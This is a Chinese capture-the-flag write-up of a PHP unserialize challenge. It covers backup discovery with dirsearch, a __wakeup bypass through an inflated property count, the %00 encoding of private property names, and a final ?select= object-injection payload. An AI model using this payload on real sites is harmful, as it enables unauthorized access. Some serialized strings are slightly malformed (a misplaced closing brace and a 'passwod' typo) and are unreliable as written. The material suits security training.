进入网页,说有备份网站的习惯,使用dirsearch扫描,发现www.zip,访问并下载。
打开flag.php ,一看就知道不是真正的flag
于是打开index.php和class.php查看,发现index.php文件中看到函数unserialize,,猜测考察反序列化
该文件包含class.php,并且获取url参数'select'。打开class.php查看,发现有魔术方法,具体的魔术方法用法可参考这篇文章
PHP之魔术方法_errorr0的博客-CSDN博客_php魔术方法s
可以看到两个成员变量一开始是有被赋值的,在调用unserialize()之前会先使用魔术方法__wakeup,由于__wakeup会对'username'重新赋值,因此需要绕过。当PHP5 < 5.6.25、PHP7 < 7.0.10当属性个数大于真实的个数,可绕过__wakeup方法
在__destruct中可以看到,只有当‘username’为'admin'以及'password'为'100',才会输出flag
由于成员变量是Private权限,只有当php版本大于7.1时才对权限不敏感,并且在响应头中看到php版本为5.3.3,所以序列化的字符串需要注意修改
成员变量权限为public时,序列化后的字符串为O:4:"Name":2:{s:8:"username";s:5:"admin";s:8:"password";s:3:"100";}
但是由于private权限,因此序列化的字符串为O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100"};
需要注意的是,在输出时不会有%00,只需要把正方形替换成%00即可O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100"};
其中%00是占一个长度
这里扩展一下,如果成员变量的权限是public的话,那么序列化后的字符串中属性名就是"属性名";权限是protected的话,属性名变成"%00*%00属性名";如果权限是private,属性名变成"%00类名%00属性名"
可以看到如果权限是protected,字符串有变化。
所以这题满足的对象序列化后的字符串为O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00passwod";s:3:"100"};于是payload
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100"};